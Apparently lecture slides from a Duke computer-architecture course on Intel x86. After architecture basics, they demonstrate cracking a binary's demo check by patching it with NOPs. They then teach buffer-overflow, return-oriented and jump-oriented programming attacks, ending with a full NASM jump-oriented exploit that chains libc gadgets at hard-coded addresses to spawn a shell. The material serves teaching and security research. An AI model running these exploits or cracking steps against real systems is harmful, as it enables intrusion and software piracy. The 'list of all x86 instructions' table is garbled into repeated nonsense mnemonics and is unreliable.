ECE/CS 250
Computer Architecture

Summer 2018

Intel x86

Tyler Bletsch
Duke University
## Basic differences

<table>
<thead>
<tr>
<th></th>
<th><strong>MIPS</strong></th>
<th><strong>Intel x86</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Design</strong></td>
<td>RISC</td>
<td>CISC</td>
</tr>
<tr>
<td><strong>ALU ops</strong></td>
<td>Register = Register $\otimes$ Register (3 operand)</td>
<td>Register $\otimes$ = &lt;Reg</td>
</tr>
<tr>
<td><strong>Registers</strong></td>
<td>32</td>
<td>8 (32-bit) or 16 (64-bit)</td>
</tr>
<tr>
<td><strong>Instruction size</strong></td>
<td>32-bit fixed</td>
<td>Variable: originally 8- to 48-bit, can be longer now (up to 15 <em>bytes</em>!)</td>
</tr>
<tr>
<td><strong>Branching</strong></td>
<td>Condition in register (e.g. “slt“)</td>
<td>Condition codes set implicitly</td>
</tr>
<tr>
<td><strong>Endian</strong></td>
<td>Either (typically big)</td>
<td>Little</td>
</tr>
<tr>
<td><strong>Variants and extensions</strong></td>
<td>Just 32- vs. 64-bit, plus some graphics extensions in the 90s</td>
<td>A bajillion (x87, IA-32, MMX, 3DNow!, SSE, SSE2, PAE, x86-64, SSE3, SSE4, SSE5, AVX, AES, FMA)</td>
</tr>
<tr>
<td><strong>Market share</strong></td>
<td>Small but persistent (embedded)</td>
<td>80% server, similar for consumer (defection to ARM for mobile is recent)</td>
</tr>
</tbody>
</table>
32-bit x86 primer

- Registers:
  - General: eax ebx ecx edx edi esi
  - Stack: esp ebp
  - Instruction pointer: eip

- Complex instruction set
  - Instructions are variable-sized & unaligned

- Hardware-supported call stack
  - call / ret
  - Parameters on the stack, return value in eax

- Little-endian

- We’ll use Intel-style assembly language (Destination first)
  - Other notations of x86 assembly exist and are in common use! Most notably AT&T syntax, used by GNU GCC.
Intel x86 instruction format

(a) Optional instruction prefixes

(b) General instruction format
# Intel x86 registers (32-bit, simplified)

<table>
<thead>
<tr>
<th>REG Value</th>
<th>Register if data size is eight bits</th>
<th>Register if data size is 16-bits</th>
<th>Register if data size is 32 bits</th>
</tr>
</thead>
<tbody>
<tr>
<td>000</td>
<td>al</td>
<td>ax</td>
<td>eax</td>
</tr>
<tr>
<td>001</td>
<td>cl</td>
<td>cx</td>
<td>ecx</td>
</tr>
<tr>
<td>010</td>
<td>dl</td>
<td>dx</td>
<td>edx</td>
</tr>
<tr>
<td>011</td>
<td>bl</td>
<td>bx</td>
<td>ebx</td>
</tr>
<tr>
<td>100</td>
<td>ah</td>
<td>sp</td>
<td>esp</td>
</tr>
<tr>
<td>101</td>
<td>ch</td>
<td>bp</td>
<td>ebp</td>
</tr>
<tr>
<td>110</td>
<td>dh</td>
<td>si</td>
<td>esi</td>
</tr>
<tr>
<td>111</td>
<td>bh</td>
<td>di</td>
<td>edi</td>
</tr>
</tbody>
</table>
• Includes general purpose registers, plus a bunch of special purpose ones (floating point, MMX, etc.)
Memory accesses

- Can be *anywhere*
  - No separate “load word” instruction – almost any op can load/store!

- Location can be various *expressions* (not just “0($1)”):
  - \([ \text{disp} + \text{<REG>}^n \] \)
    - ex: \([0x123 + 2*eax]\]
  - \([ \text{<REG>} + \text{<REG>}^n \] \)
    - ex: \([\text{ebx} + 4*eax]\]
  - \([ \text{disp} + \text{<REG>} + \text{<REG>}^n \] \)
    - ex: \([0x123 + \text{ebx} + 8*eax]\]

- You get “0($1)” by doing \([0 + \text{eax}^{}*1]\), which you can write as \([\text{eax}]\)

- All this handled in the MOD-R/M and SIB fields of instruction

- Imagine making the control unit for these instructions 🦕
# MIPS/x86 Rosetta Stone

<table>
<thead>
<tr>
<th>Operation</th>
<th>MIPS code</th>
<th>Effect on MIPS</th>
<th>x86 code</th>
<th>Effect on x86</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add registers</td>
<td>add $1, $2, $3</td>
<td>$1 = $2 + $3</td>
<td>add eax, ebx</td>
<td>$1 += $2</td>
</tr>
<tr>
<td>Add immediate</td>
<td>addi $1, $2, 50</td>
<td>$1 = $2 + 50</td>
<td>add eax, 50</td>
<td>$1 += 50</td>
</tr>
<tr>
<td>Load constant</td>
<td>li $1, 50</td>
<td>$1 = 50</td>
<td>mov eax, 50</td>
<td>eax = 50</td>
</tr>
<tr>
<td>Move among regs</td>
<td>move $1, $2</td>
<td>$1 = $2</td>
<td>mov eax, ebx</td>
<td>eax = ebx</td>
</tr>
<tr>
<td>Load word</td>
<td>lw $1, 4($2)</td>
<td>$1 = *(4+$2)</td>
<td>mov eax, [4+ebx]</td>
<td>eax = *(4+ebx)</td>
</tr>
<tr>
<td>Store word</td>
<td>sw $1, 4($2)</td>
<td>*(4+$2) = $1</td>
<td>mov [4+ebx], eax</td>
<td>*(4+ebx) = eax</td>
</tr>
<tr>
<td>Shift left</td>
<td>sll $1, $2, 3</td>
<td>$1 = $2 &lt;&lt; 3</td>
<td>sal eax, 3</td>
<td>eax &lt;&lt;= 3</td>
</tr>
<tr>
<td>Bitwise AND</td>
<td>and $1, $2, $3</td>
<td>$1 = $2 &amp; $3</td>
<td>and eax, ebx</td>
<td>eax &amp;= ebx</td>
</tr>
<tr>
<td>No-op</td>
<td>nop</td>
<td>-</td>
<td>nop</td>
<td>-</td>
</tr>
<tr>
<td>Conditional move</td>
<td>movn $1, $2, $3</td>
<td>if ($3) { $1=$2 }</td>
<td>test ecx</td>
<td>(Set condition flags based on ecx)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>cmovnz eax, ebx</td>
<td></td>
</tr>
<tr>
<td>Compare</td>
<td>slt $1, $2, $3</td>
<td>$1 = $2&lt;$3 ? 1 : 0</td>
<td>cmp eax, ebx</td>
<td>(Set condition flags based on eax-ebx)</td>
</tr>
<tr>
<td>Stack push</td>
<td>addi $sp, $sp, -4</td>
<td>SP-=4</td>
<td>push ecx</td>
<td>*SP = ecx ; SP-=4</td>
</tr>
<tr>
<td></td>
<td>sw $5, 0($sp)</td>
<td>*SP = $5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Jump</td>
<td>j label</td>
<td>PC = label</td>
<td>jmp label</td>
<td>PC = label</td>
</tr>
<tr>
<td>Function call</td>
<td>jal label</td>
<td>$ra = PC+4</td>
<td>call label</td>
<td>*SP = PC+len</td>
</tr>
<tr>
<td></td>
<td></td>
<td>PC = label</td>
<td></td>
<td>SP -= 4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>PC = label</td>
</tr>
<tr>
<td>Function return</td>
<td>jr $ra</td>
<td>PC = $ra</td>
<td>ret</td>
<td>PC = *SP</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>SP+=4</td>
</tr>
<tr>
<td>Branch if less than</td>
<td>slt $1, $2, $3</td>
<td>if ($2&lt;$3) PC=label</td>
<td>cmp eax, ebx</td>
<td>if (eax&lt;ebx) PC=label</td>
</tr>
<tr>
<td></td>
<td>bnez $1, label</td>
<td></td>
<td>jl label</td>
<td></td>
</tr>
<tr>
<td>Request syscall</td>
<td>syscall</td>
<td>Requests kernel</td>
<td>int 0x80</td>
<td>Requests kernel</td>
</tr>
<tr>
<td>Task</td>
<td>x86 instruction</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>-----------------------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Branch if last ALU op overflowed</td>
<td>jo label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Branch if last ALU op was even</td>
<td>jpe label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Swap two registers</td>
<td>xchg eax, ebx</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Square root</td>
<td>fsqrt</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Prefetch into cache</td>
<td>prefetchnta 64[esi]</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Special prefix to do an instruction until the end of string (Kind of like “while(*p)”)</td>
<td>rep</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Load constant pi</td>
<td>fldpi st(0)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Push all the registers to the stack at once</td>
<td>pushad</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Decrement ecx and branch if not zero yet</td>
<td>loop label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Add multiple numbers at once (MMX) (Single Instruction, Multiple Data (SIMD))</td>
<td>addps xmm0, xmm1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Scan a string for a null (among other things) (Vastly accelerates strlen())</td>
<td>pcmpistri</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Encrypt data using the AES algorithm</td>
<td>aesenc</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### List of all x86 instructions

<table>
<thead>
<tr>
<th>Type</th>
<th>Instruction</th>
<th>Execution Time</th>
<th>Category</th>
</tr>
</thead>
<tbody>
<tr>
<td>AAA</td>
<td>CMOVE</td>
<td>FCMOVU GFNOP GS</td>
<td>JNJE</td>
</tr>
<tr>
<td>AAD</td>
<td>CMV0</td>
<td>FCMOVEB FCMOV2</td>
<td>FN0SAVF HADDPS JNL</td>
</tr>
<tr>
<td>AAM</td>
<td>CMV0E</td>
<td>FCMV0P FCMV0M</td>
<td>FNSAVE MADDPS JNLE</td>
</tr>
<tr>
<td>AAS</td>
<td>CMV0L</td>
<td>FCMV0S FCMV0I</td>
<td>FNSTENV BLT JNP</td>
</tr>
<tr>
<td>ADC</td>
<td>CMVL4</td>
<td>FCMV1P FCMV1M</td>
<td>FNSTENVN SLT JNPS</td>
</tr>
<tr>
<td>ADD</td>
<td>CMVA</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVN2 SLT JNPS</td>
</tr>
<tr>
<td>ADDP</td>
<td>CMVNA</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX2 SLT JNPS</td>
</tr>
<tr>
<td>ADDPS</td>
<td>CMVNB</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX4 SLT JNPS</td>
</tr>
<tr>
<td>ADDSD</td>
<td>CMVNBNE</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>ADDSS</td>
<td>CMVNC</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>ADDSUBPD</td>
<td>CMVNE</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>ADDSUBPS</td>
<td>CMVNG</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>ADDX</td>
<td>CMX</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMAX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMX</td>
<td>CMXVNL</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
<tr>
<td>AMND</td>
<td>CMXVNS</td>
<td>FCMV2S FCMV2P</td>
<td>FNSTENVX8 SLT JNPS</td>
</tr>
</tbody>
</table>

---

**Note:** The list continues with similar patterns for the remaining instructions. The page number at the bottom indicates that this is part of a larger list. The full list is available in various resources dedicated to x86 assembly instruction sets.
Exploring a compiled x86 program

- Introducing hello.c
  - cat hello.c
- Compile to assembly language (and down to executable)
  - make
    - gcc -m32 -g -S -o hello.s hello.c
    - gcc -m32 -g -o hello hello.c
- View assembly language output
  - cat hello.s
- Disassemble binary to see compiled instructions
  - objdump -d hello
- Analyze hello using IDA Pro
CAN WE USE THIS TO CRACK COMPILED SOFTWARE????
DRAMATIC PAUSE

Please fill out the course survey
Binary modification

- Introducing supercalc
  - `./supercalc`
  - `./supercalc 2 3`
  - `./supercalc 2 10`

- Disassemble binary
  - `objdump -d supercalc`

- Analyze supercalc using IDA Pro

- Find the demo check code in IDA

- Identify **sections** of executable
  - `./objdump -h supercalc`

- Find the code we care about in the binary file via hex editor

- Flatten all the check code into NOPs

- Disassemble, analyze, and test hacked binary
Diving into code injection and reuse attacks
(not on exam)

Some slides originally by Anthony Wood, University of Virginia, for CS 851/551
(http://www.cs.virginia.edu/crab/injection.ppt)

Adapted by Tyler Bletsch, Duke University
What is a Buffer Overflow?

• Intent
  • Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  • Denial of service

• Steps
  • Inject attack code into buffer
  • Redirect control flow to attack code
  • Execute attack code
Attack Possibilities

- **Targets**
  - Stack, heap, static area
  - Parameter modification (non-pointer data)
    - E.g., change parameters for existing call to `exec()`
- **Injected code vs. existing code**
- **Absolute vs. relative address dependencies**
- **Related Attacks**
  - Integer overflows, double-frees
  - Format-string attacks
Typical Address Space

From Dawn Song's RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt
Examples

- (In)famous: Morris worm (1988)
  - gets() in fingerd
- Code Red (2001)
  - MS IIS .ida vulnerability
- Blaster (2003)
  - MS DCOM RPC vulnerability
- Mplayer URL heap allocation (2004)
  % mplayer http://`perl -e 'print "\\""x1024;''`
```c
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);

    return 0;
}
```
Demo – normal execution

```
tkbletsc@davros:~/jop/examples/code-injection $ ./cool
What is your name? Tyler
Tyler is cool.
tkbletsc@davros:~/jop/examples/code-injection $ 
```
Demo – exploit

```
thbletsc@davros:~$ code-injection
What is your name? 

You clearly aren’t cut out for C. How about I start you off on something more your speed...
```

--2010-09-22 11:40:00--  http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Connecting to www.python.org|82.94.164.162|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: `Python-2.7.tar.bz2'

100%[======================================================] 11,735,195 3.52M/s in 3.8s

2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```
%define buffer_size 1024
%define buffer_ptr 0xbffff2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4 dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  • Overflowing a string copy? No nulls!
  • Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
Preventing Buffer Overflows

• Strategies
  • Detect and remove vulnerabilities (best)
  • Prevent code injection
  • Detect code injection
  • Prevent code execution

• Stages of intervention
  • Analyzing and compiling code
  • Linking objects into executable
  • Loading executable into memory
  • Running executable
Preventing Buffer Overflows

- Research projects
  - Splint - Check array bounds and pointers
  - RAD – check RA against copy
  - PointGuard – encrypt pointers
  - Liang et al. – Randomize system call numbers
  - RISE – Randomize instruction set

- Generally available techniques
  - Stackguard – put canary before RA
  - Libsafe – replace vulnerable library functions
  - Binary diversity – change code to slow worm propagation

- Generally deployed techniques
  - NX bit & W^X protection
  - Address Space Layout Randomization (ASLR)
**W^X and ASLR**

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region location**
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker’s expected work
  - Each failed attempt results in crash; at restart, randomization is different

- Counters:
  - Information leakage
    - Program reveals a pointer? Game over.
  - Derandomization attack [1]
    - Just keep trying!
    - 32-bit ASLR defeated in 216 seconds

Negating $W^X$

Question: do we need malicious **code** to have malicious **behavior**?

**No.**

<table>
<thead>
<tr>
<th>Code injection</th>
<th>Code reuse (!)</th>
</tr>
</thead>
<tbody>
<tr>
<td>argument 2</td>
<td>argument 2</td>
</tr>
<tr>
<td>argument 1</td>
<td>argument 1</td>
</tr>
<tr>
<td>Address of attack code</td>
<td>Address of system()</td>
</tr>
<tr>
<td>frame pointer</td>
<td>frame pointer</td>
</tr>
<tr>
<td>locals</td>
<td>locals</td>
</tr>
<tr>
<td>Attack code</td>
<td>Attack code</td>
</tr>
<tr>
<td>(launch a shell)</td>
<td>(launch a shell)</td>
</tr>
<tr>
<td>buffer</td>
<td>buffer</td>
</tr>
</tbody>
</table>

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  • Execute entire libc functions
  • Can chain using “esp lifters”
  • Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  • Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with W^X?

• Question: do we need malicious code to have arbitrary malicious behavior? No.

• Return-oriented programming (ROP)

• Chain together gadgets: tiny snippets of code ending in ret

• Achieves Turing completeness

• Demonstrated on x86, SPARC, ARM, z80, ...
  • Including on a deployed voting machine, which has a non-modifiable ROM
  • Recently! New remote exploit on Apple Quicktime

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  - pop eax ; ret
  - 0x55555555
  - Stack pointer

- **Arithmetic**
  - add eax, ebx ; ret
  - Stack pointer

- **Control flow**
  - pop esp ; ret
  - Stack pointer

- **Memory**
  - pop eax ; ret
  - mov ebx, [eax] ; ret
  - 0x8070abcd (address)
  - Stack pointer

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- Shellcode
  - zeroes part of memory
  - sets registers
  - does `execve` syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  • ROPdefender\(^1\) and others: maintain a shadow stack
  • DROP\(^2\) and DynIMA\(^3\): detect high frequency \texttt{rets}
  • Returnless\(^4\): Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  • See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al. (covered in this deck if you’re curious)
BACKUP SLIDES
(not on exam)
Jump-oriented Programming
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  • ROPdefender[1] and others: maintain a shadow stack
  • DROP[2] and DynIMA[3]: detect high frequency \textit{rets}
  • Returnless[4]: Systematically eliminate all \textit{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \textit{ret}!
  • My research follows...
• Instead of `ret`, use indirect jumps, e.g., `jmp eax`

• How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } \ast pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = \ast(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...
- That's not many...

![Graph showing frequency of control flow transfers in glibc](image)
Availability of indirect jumps (2)

- However: x86 instructions are *unaligned*
- We can find *unintended* code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
81 c3 2a ff 10 00
```

call [eax]

- Very common, since they start with 0xFF, e.g.
  -1 = 0xFFFFFFFF
-1000000 = 0xFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  • Instead, as in ROP, scan & walk backwards
  • We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  • **Internal integrity:**
    • Gadget must not destroy its own jump target.
  • **Composability:**
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

- Dispatcher heuristic:
  - The gadget must act upon its own jump target register
  - Opcode can't be useless, e.g.: inc, xchg, xor, etc.
  - Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
    - lea edx, [eax+ebx] isn't going to advance anything
    - lea edx, [edx+esi] could work

- Find a dispatcher that uses uncommon registers
  add ebp, edi
  jmp [ebp-0x39]

- Functional gadgets found with similar heuristics
Developing a practical attack

• Built on Debian Linux 5.0.4 32-bit x86
  • Relies solely on the included libc

• Availability of gadgets (31,136 total): PLENTY
  • Dispatcher: 35 candidates
  • Load constant: 60 pop gadgets
  • Math/logic: 221 add, 129 sub, 112 or, 1191 xor, etc.
  • Memory: 150 mov loaders, 33 mov storers (and more)
  • Conditional branch: 333 short adc/sbb gadgets
  • Syscall: multiple gadget sequences
The vulnerable program

- Vulnerabilities
  - String overflow
  - Other buffer overflow
  - String format bug

- Targets
  - Return address
  - Function pointer
  - C++ Vtable
  - Setjmp buffer
    - Used for non-local gotos
    - Sets several registers, including esp and eip
The exploit code (high level)

• Shellcode: launches `/bin/bash`
• Constructed in NASM (data declarations only)
• 10 gadgets which will:
  • Write null bytes into the attack buffer where needed
  • Prepare and execute an `execve` syscall
• Get a shell without exploiting a single `ret`:
The full exploit (1)

```plaintext
start:
; Constants:
libc: equ 0xb7e7f000 ; Base address of libc in memory
base: equ 0x804a008 ; Address where this buffer is loaded
base_mangled: equ 0x1d4011ee ; 0x804a008 = mangled address of this buffer
initializer_mangled: equ 0xc43ef491 ; 0xb7e81f7a = mangled address of initializer gadget
dispatcher: equ 0xb7fa4e9e ; Address of the dispatcher gadget
buffer_length: equ 0x100 ; Target program's buffer size before the jmpbuf.
shell: equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
to_null: equ libc+0x7 ; Points to a null dword (0x00000000)

; Start of the stack. Data read by initializer gadget "popa";
popa_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
popa_esi: dd 0xffffffff
popa_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
popa.esp: dd 0xffffffff
popa_ebx: dd base+to_dispatcher+0x3e ; Jumpback for initializer (plus 0x3e)
popa edx: dd 0xffffffff
popa ecx: dd 0xffffffff
popa eax: dd 0xffffffff

; Data read by "popa" for the null-writer gadgets:
popal_edi: dd -4 ; Delta for dispatcher
popal_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
popal ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
popal esp: dd 0xffffffff
popal ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
popal edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
popal ecx: dd 0xffffffff
popal eax: dd -1 ; When we increment eax later, it becomes 0

; Data read by "popa" to prepare for the system call:
popa2_edi: dd -4 ; Delta for dispatcher
popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
popa2 ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
popa2 esp: dd 0xffffffff
popa2 ebx: dd shell ; Syscall EBX = 1st execve arg (filename)
popa2 edx: dd base+to_null
popa2 ecx: dd base+to_dispatcher ; Syscall EDX = 3rd execve arg (argv)
popa2 eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
```

Constants
Immediate values on the stack
The full exploit (2)

; End of stack, start of a general data region used in manual addressing
42    dd dispatcher ; Jumpback for "jmp [esi-0x1f]"
43    times 0xB db 'X' ; Filler
44 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
45    dd dispatcher ; Jumpback for "jmp [esi+0x4]"
46    times 4 db 'Z' ; Filler
47 new_eax: dd 0x80000000b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
48
49 ; End of the data region, the dispatch table is below (in reverse order)
50    g0a: dd 0x87fe3419 ; sysenter
51    g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
52    g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0x1f]
53    g07: dd libc+0x137375 ; popa ; cmp ; jmp far dword [ecx]
54    g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
55    g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
56    g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
57    g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
58    g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
59    g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
60    g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]
61 g_start: ; Start of the dispatch table, which is in reverse order.
62
63 ; Legal buffer ends here. Now we overwrite the jmpbuf to take control
64    times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
65
66 ; Legal buffer ends here. Now we overwrite the jmpbuf to take control
67 jmpbuf_ebx: dd 0xaaaaaaaa
68 jmpbuf_esi: dd 0xaaaaaaaa
69 jmpbuf_edi: dd 0xaaaaaaaa
70 jmpbuf_ebp: dd 0xaaaaaaaa
71 jmpbuf.esp: dd base_mangled ; Redirect esp to this buffer for initializer’s "popa"
72 jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
73 to_dispatcher: dd dispatcher
74    dw 0x73 ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
75 ; The standard code segment; allows far jumps; ends in NULL
76

Discussion

• Can we automate building of JOP attacks?
  • Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?
  A: Yes

• What defense measures can be developed which counter this attack?
The MIPS architecture

• MIPS: very different from x86
  • Fixed size, aligned instructions
    • No unintended code!
  • Position-independent code via indirect jumps
  • Delay slots
    • Instruction after a jump will always be executed

• **We can deploy JOP on MIPS!**
  • Use intended indirect jumps
    • Functionality bolstered by the effects of delay slots
  • Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `jr ra`:

![Terminal screenshot showing the exploit execution](image)
### CONSTANTS

<table>
<thead>
<tr>
<th>Symbol</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>libc</td>
<td>0x2aada000</td>
</tr>
<tr>
<td>base</td>
<td>0x7fff780e</td>
</tr>
<tr>
